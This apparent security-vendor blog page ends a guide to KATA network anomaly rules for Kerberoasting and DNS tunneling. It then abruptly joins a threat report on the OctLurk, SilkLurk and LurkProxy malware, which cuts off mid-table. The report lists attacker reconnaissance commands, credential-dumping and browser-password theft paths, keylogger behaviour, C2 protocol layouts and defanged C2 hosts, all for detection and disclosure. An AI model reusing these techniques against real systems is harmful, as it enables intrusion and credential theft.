To ensure the rule functions correctly, we recommend navigating to the “SQL-specific query” tab before deployment to review the variables used within the rule – a description for each variable is available by hovering over the question mark icon.
The variables are lists of IP addresses, dates, strings or numeric values that define the network infrastructure – such as domain controllers, DNS servers, time ranges, critical segments, and other entities. This allows you to tailor each rule to different network environments and incorporate specific infrastructure characteristics without modifying the underlying logic.
In our example, using variables allows you to adjust the “Signs of a Kerberoasting attack” rule as follows without altering the underlying SQL query:
Exclude the source IP address of the TGS-REQ requests from the scope of detection logic (you can specify a single address, a subnet mask, or a dictionary containing addresses and subnets) as well as the requesting client account (accepts a single value or a dictionary with multiple values).
Adjust the threshold value required to trigger an alert based on the number of unique SPNs in the TGS-REQ messages.
Query contents and variables used in the new rule
On this same page, you can test if the rule is functional prior to saving it.
Rule execution test results
When this rule triggers, an NDR:NAD alert is generated. In the alert card, the analyst can review basic information: IP addresses, ports, and participating network endpoints.
Alert card for the NAD rule
From there, the analyst can navigate to the associated event, which provides a detailed breakdown of the anomaly alongside links to the affected hosts.
NAD rule triggering event
If needed, the analyst can view and export the network sessions associated with the alert. These sessions can be accessed directly from the alert or within the event card via the “Show related” drop-down list.
Network sessions that triggered the rule
Within an individual session, the analyst can inspect standard details including interacting parties, data volume sent and received, and other fields and metrics. On the “Attributes” tab, the analyst can review the specific events recorded within that session.
Network session attributes
Detecting DNS tunneling in KATA
How DNS tunnels work
DNS tunneling is a technique used to transmit data or control malware through firewalls by encoding information within DNS protocol requests and responses. Instead of performing standard name resolution, an infected host transmits data encoded within subdomain strings and receives response data via DNS records. This covert channel can be leveraged for C2 communication, bypassing network restrictions, or data exfiltration.
One method of implementing DNS tunneling involves utilizing TXT records. In this scenario, the client issues DNS TXT record queries for domain names where the right-hand portion of the domain name (the higher-level domains) remains static, while the left-hand portion (the lowest-level subdomain) carries encoded or encrypted data sent from the client to the server. Under this structure, a sample domain name might look like ZFcABQAIBA[.]testlab[.]local, where testlab[.]local serves as the static right-hand portion and ZFcABQAIBA represents the variable left-hand string containing the data transmitted by the client.
In response to these queries, the server delivers commands or messages inside the data field of the TXT response. Because the right-hand portion of the domain name remains static, all client queries are consistently routed to the same C2 server, even if the intermediate DNS resolvers targeted by the client change.
DNS query (left) and corresponding response (right) during DNS tunneling via TXT records
It is rather challenging to identify this malicious activity within DNS traffic without generating false positives. DNS traffic is permitted across almost all corporate networks, long domain names occur routinely in both internal and external environments, and TXT records are frequently leveraged for legitimate operational purposes.
Suspicion is established through a combination of indicators: a high volume of long, seemingly random subdomains associated with a single top-level domain, high request frequency, an unusually large number of unique names, non-standard record types, and significant data transfer volumes within a single DNS session.
By analyzing DNS traffic for threat detection, we identified three primary fields of interest:
Requested DNS name
DNS record type
TXT data field within the response
As shown in the image above, all of these fields are present in the DNS response. In a real-world scenario, a tunnel of this nature will transmit a volume of data that is abnormally large compared to standard DNS traffic.
Data exchange within a DNS tunnel
Thus, in the context of DNS tunneling, a network anomaly occurs when 1) a single query source host sends data embedded in the variable left-hand portion of domain names (rrname) while 2) maintaining a static right-hand portion (rrname) and 3) receives DNS server responses containing TXT records (rtype) with varying data (rdata), while 4) the total volume of data transmitted in the left-hand portion of the requested domain name together with the TXT data response (rdata + rrname) exceeds a predefined threshold.
Request and response events from DNS session attributes
When detecting DNS tunneling, the following nuances must be considered:
A single tunnel will not be constrained to a single DNS session; data may be transmitted across multiple sessions with the DNS server, or each individual request may occur within a separate session.
A client DNS query can contain more than one requested domain name.
A DNS response can contain multiple TXT records, as well as a large volume of various non-TXT record types.
Traffic between DNS servers must be excluded, as it duplicates client requests and can trigger false positives.
Although the factors outlined above (an abnormally large or frequently changing left-hand subdomain alongside a static right-hand domain, or an unusually long string in a TXT record) serve as key indicators of DNS tunneling, they can also occur within legitimate network traffic.
These challenges create a high likelihood of false positives when detecting DNS tunneling, particularly when using IDS-based tools. Writing an accurate IDS rule for this type of activity is practically impossible. With rare exceptions, DNS tunneling tools possess static markers that can be leveraged for signature-based detection. However, in the absence of such markers, signature methods fail to deliver high detection accuracy without generating an overwhelming number of false positives. In these cases, a comprehensive approach combining multiple correlated indicators is essential to improve overall detection quality.
DNS tunneling detection logic
To add a rule for detecting this anomaly, you can use the prebuilt “DNS data tunneling via TXT records” template in the new rule creation interface. The “SQL-specific query” tab will display the list of variables used:
user_DNS_servers: a list of internal DNS server addresses within the infrastructure, required for the rule to function correctly and minimize potential false positives
excl_sip: IP addresses to be excluded from the scope of the rule (you can specify a single address, a subnet mask, or a list containing both addresses and subnets)
traffic_size: the threshold value for the total volume of data (in bytes) transmitted through the tunnel
Variables used in the “DNS data tunneling via TXT records” rule
The detection logic for this network anomaly is structured as follows:
From network sessions using the DNS protocol within the timeframe defined by the rule’s search depth, select only those sessions containing at least one TXT response.
Additionally:
The IP address that initiated the session must not be excluded in the excl_sip variable.
The source IP address that initiated the session must not belong to the internal DNS servers listed in the user_DNS_servers variable.
The DNS names requested by the client must not be excluded within the rule.
Split qualifying DNS sessions into individual log lines, each corresponding to an individual request or response. Retain only DNS responses containing TXT data.
Extract DNS names and their associated TXT data from these DNS responses. Retain only unique values.
Group all resulting records by the session’s source IP address, aggregating all unique DNS names and TXT data blocks.
Generate an alert if the combined size (in bytes) of the unique DNS names and TXT response data for a single IP address within the search depth window exceeds the specified threshold (the traffic_size parameter).
Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).
“DNS data tunneling via TXT records” rule triggering event
The primary value of NAD technology in this scenario lies in noise reduction – by minimizing false positives – and faster investigation times. A DNS tunnel rarely presents itself as a single, blatantly malicious request. Instead, it leaves behind a behavioral footprint: repetition, length, domain structure, unusual record types, numerous subdomains branching off an unchanging root domain, and anomalous host behavior. KATA consolidates these indicators into a single alert, presenting the analyst with an actionable attack hypothesis rather than a set of fragmented DNS events.
Prebuilt rules for detecting network anomalies in KATA
KATA users should note that Network Anomaly Detection (NAD) rules are not enabled by default. Rules must be added manually using the procedure described in the preceding sections. This design ensures that analysts can fine-tune rules to fit specific network infrastructures using variables.
Analysts have three ways of creating new rules:
Adding a rule from a prebuilt template and adjusting custom variables. In this case, the rule is classified as a system rule.
Adding a rule from a prebuilt template and modifying its underlying SQL query (which requires enabling the “Unlock all template values” option) to create a custom rule based on the template. When modified this way, the rule transitions from a system rule to a custom rule.
Authoring a custom rule from scratch, which requires a basic understanding of ClickHouse SQL queries and familiarity with the product documentation.
As of this publication, the product ships with 59 prebuilt NAD rule templates (with additional templates delivered via product updates). KATA supports running up to 200 active rules simultaneously.
Prebuilt rules are divided into six categories:
Large Data Transfers: tracking abnormally large network sessions across various protocols during regular hours, at night, or over weekends.
Suspicious Connections: detecting suspicious connections that may indicate hazardous activity, shadow IT, evasion of attack detection mechanisms, and other threats.
Connections to Suspicious Resources: detects actions that violate security policies, potential data exfiltration beyond the perimeter, and unauthorized internet access originating from secured network segments.
C2 Communication: identifies network sessions characteristic of a potential C2 communication channel or tunnel.
The table below lists the rule templates for detecting network anomalies in KATA:
Rule category
Rule name
Protocols used
Large Data Transfers
Data tunneling in DNS traffic
DNS
ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic (6 rules)
ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule)
ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic at nighttime (6 rules)
ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule)
ICMP, TCP, UDP, RDP, SSH or LDAP sessions with a large volume of traffic on non-working days (6 rules)
ICMP, TCP, UDP, RDP, SSH, or LDAP (depends on selected rule)
Suspicious Connections
Queries to unknown DNS servers
DNS
Use of unauthorized routes
TCP, UDP
Use of suspicious ports for connections to external addresses
TCP, UDP
Use of non-typical protocols for connections
TCP, UDP, HTTP, HTTPS, DNS, SMTP
Inconsistencies with firewall configuration
TCP, UDP
Use of unauthorized ports for RDP or SSH sessions (2 rules)
RDP or SSH (depends on selected rule)
Interactions with external IP addresses over the RDP or SSH protocol (2 rules)
RDP or SSH (depends on selected rule)
Suspicious RDP sessions with domain controllers
RDP
Connection to an unknown server via Kaspersky Security Center ports
TCP, UDP
Domain Attacks
Signs of a DCSync attack
DCE/RPC
Signs of a DCShadow attack
DCE/RPC
Signs of DHCP spoofing
DHCP
DNS queries to Canarytoken domains
DNS
Signs of a Kerberoasting attack
Kerberos
Signs of an AS-REP Roasting attack
Kerberos
Signs of a brute-force password attack on SSH
SSH
Signs of SOAPHound usage
LDAP
Large-volume Active Directory object data collection via LDAP queries
LDAP
Reconnaissance Activity
Getting information about a task in the Task Scheduler
DCE/RPC
Getting a list of Kerberos users
Kerberos
LDAP queries to rights delegation attribute
LDAP
LDAP queries to attribute for getting administrator passwords
LDAP
Signs of an internal horizontal port scan
TCP, UDP
Signs of an internal vertical port scan
TCP, UDP
DNS zone data replication requests sent from sources other than DNS servers
DNS
Successfully completed requests for DNS zone data replication sent from sources other than DNS servers
DNS
LDAP query targeting a critical attribute of insecure credentials
LDAP
Enumeration of domain accounts via LDAP queries
LDAP
Exceeding the threshold for requested critical attributes in LDAP queries
LDAP
LDAP search queries containing a high number of critical attributes
LDAP
Connections to Suspicious Resources
Queries to unauthorized domain names
DNS
Transmission of large data volumes to cloud storages
TCP, UDP, DNS
Connections to cloud storages or file transfer services
TCP, DNS
Connections to public repositories
TCP, DNS
Connections to resources of programs for traffic tunneling
TCP, DNS
С2 Communication
Possible queries to DGA domains
DNS
DNS data tunneling via TXT records
DNS
Numerous blocked connections to external addresses
TCP, UDP
Conclusion
The examples of Kerberoasting and DNS tunneling clearly demonstrate why modern security defenses cannot rely solely on looking for known signatures and indicators of compromise. Both attack techniques abuse protocols that operate inside corporate networks every day. At the individual event level, they may look like legitimate activity, yet in behavioral context, they stand out as clear indicators of compromise.
NAD directly addresses this gap. Instead of relying purely on signature matches across Kerberos or DNS traffic, it highlights deviations from established baselines: who initiated the activity, how frequently it recurred, which services or domains were targeted, and why that matters for a specific infrastructure.
As a result, analysts gain a clear, actionable starting point for investigation. This capability is especially valuable for spotting the signs of APT group activity, which runs stealthily and is designed to blend in with legitimate operations. The importance of this capability will only grow: as attack techniques evolve, detecting suspicious activity at its earliest stages – before it escalates into critical service compromise or a data breach – becomes increasingly vital.
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
OctLurk
OctLurk Deployment
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
LurkPoxy Deployment
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
OctLurk loader
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
Key 1: hard‑coded in the loader
Key 2: derived from the serial number of the C: drive
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
OctLurk backdoor
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
OS information as RTL_OSVERSIONINFOW structure
Computer name
User name
Local host name
Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
Current local date and time as SYSTEMTIME struct
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
0x0A: \x00\x00
0x0C: next_packet_size
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
0x00: XOR key; size 83 bytes
0x53: compressed data size
0x57: compressed data in the format: <uncompressed_size> <deflate(data)>
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
Command Shell: provides a command shell
File Manager: performs filesystem interaction
Interaction Manager: synthesizes keyboard and mouse events
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
Plugin type
Description
File Manager
● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes.
● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name.
● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file
● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder.
● case 0x10051: execute the specified command line using the CreateProcessAsUserW API.
● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API.
● case 0x10070: create a directory.
● case 0x10080: set the attributes for a file or directory.
● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2.
● case 0x20010: get the size of a file.
● case 0x20020: read a file from the system in chunks, starting at a specified offset.
● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times.
● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size).
● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2.
Command Shell
● case 0x3E9: launch cmd.exe as shell.
● case 0x3EA: send the exit command to close the command shell.
● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2.
If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file.
Interaction Manager
● case 0x3E9: capture the entire screen as a BMP image.
● case 0x3EA: capture the entire screen at specified intervals.
● case 0x3EC: retrieve clipboard data.
● case 0x3ED: copy the data to the clipboard.
● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button.
● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button.
● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button.
● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button.
● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event.
● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount.
● case 0x3FD: press the key indicated by the virtual‑key code.
● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code.
● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button.
Post-compromise activity
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
Victim fingerprinting
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
Command
Description
chcp 1256
Changes the system’s code page to 1256, which supports Arabic characters.
powershell $PSVersionTable
Retrieves the version information of PowerShell.
qwinsta
Views all active sessions on the local machine.
klist sessions
Displays a list of logon sessions on this computer (Including Kerberos).
TASKLIST /V
Lists all running tasks with detailed information.
findstr /i /c:”explorer.exe”
Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V.
wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]”
Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol).
Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details.
Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder.
cmd.exe /c dir /b c:\users
Lists the contents of the C:\Users directory.
wmic startup get caption,command | findstr exe
Filters startup items for executable files.
powershell “get-MpComputerStatus”
Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system.
Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender.
wevtutil gli Security
Configures the Security event log.
wevtutil gl Security /f:xml
Retrieves events from the Security log in XML format.
wevtutil gli “Windows PowerShell”
Configures the Windows PowerShell event log.
wevtutil gl “Windows PowerShell” /f:xml
Retrieves events from the Windows PowerShell log in XML format.
wevtutil gli System
Configures the System event log.
wevtutil gl System /f:xml
Retrieves events from the System log in XML format.
schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>”
Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName.
Provides network configuration details, such as IP address, DNS, DHCP status, etc.
ipconfig /all
Displays detailed network configuration.
netstat -e -s
Displays detailed network protocol statistics.
certutil -urlcache
Displays URL cache entries.
ipconfig /displaydns
Displays the contents of the DNS client resolver cache.
Event log collection
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Credential harvesting
Impacket — secretsdump
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Keylogger
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
Browser Password Decryptor
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
EHUSER: a Pandora RC user
STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
DESKTOPSHORTCUT: 0: do not create a desktop shortcut
Network scan: FSCAN
Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
Email harvesting
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
Verify that a connection to the email server is working
Authenticate the user
Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)
LurkProxy
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
Offset
Data
Type
0x00 (00)
Unused
–
0x08 (08)
Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet
bit array
0x0C (12)
Command number
int
0x10 (16)
Handler number (unique identifier for each proxy client in the first mode)
int
0x14 (20)
Command integer argument
int
0x18 (24)
Unused
–
0x1C (28)
Data 1 payload size
int
0x20 (32)
Data 2 payload size
int
0x24 (36)
Data 1 byte stream
bytes
0x24 (36) + N
Data 2 byte stream
bytes
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
Command ID
Direction
Description
Arguments
0x1000010
Implant -> C2
When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration
Target port in command integer argument
UTF-16 encoded connection hostname in data 1
0x1000010
C2 -> Implant
Used to control the session, allowing it to pause or stop proxying
Action in command integer argument (1 to pause, or any other value to terminate)
0x1000030
Implant -> C2
Sent when the LurkProxy is shut down
–
0x1000050
Implant -> C2
Forwards the received bytes from the client to C2
Raw TCP bytes in data 1
0x1000050
C2 -> Implant
Forwards the received bytes from the proxy target to the client
Raw TCP bytes in data 1
SilkLurk
Deployment
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
Service Type:SERVICE_WIN32_OWN_PROCESS
Start Type:SERVICE_AUTO_START
Error Control:SERVICE_ERROR_NORMAL
On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
Shellcode offset
Description
0x000 (0)
Stub code, which performs reflective code injection
0x770 (1904)
Hardcoded value 0x11113F68, XORed with the computer name hash
0x774 (1908)
Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs
0x775 (1909)
Size of the encrypted backdoor
0x779 (1913)
Encrypted backdoor data blob
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
SilkLurk backdoor
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
Offset
Description
0x00 (000)
C2 Host 1
0x64 (100)
C2 Host 2
0xC8 (200)
C2 Host 3
0x12C (300)
C2 Host 4
0x190 (400)
Port for C2 Host 1
0x192 (402)
Port for C2 Host 2
0x194 (404)
Port for C2 Host 3
0x196 (406)
Port for C2 Host 4
0x198 (408)
Unknown 21 bytes
0x1AD (429)
Proxy address 1
0x22A (554)
Proxy username 1
0x2A7 (679)
Proxy password 1
0x324 (804)
Proxy address 2
0x3A1 (929)
Proxy username 2
0x41E (1054)
Proxy password 2
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0x0C7FFBE86h (magic dword)
0x04 (04)
0x04 (04)
0
0x08 (08)
0x20 (32)
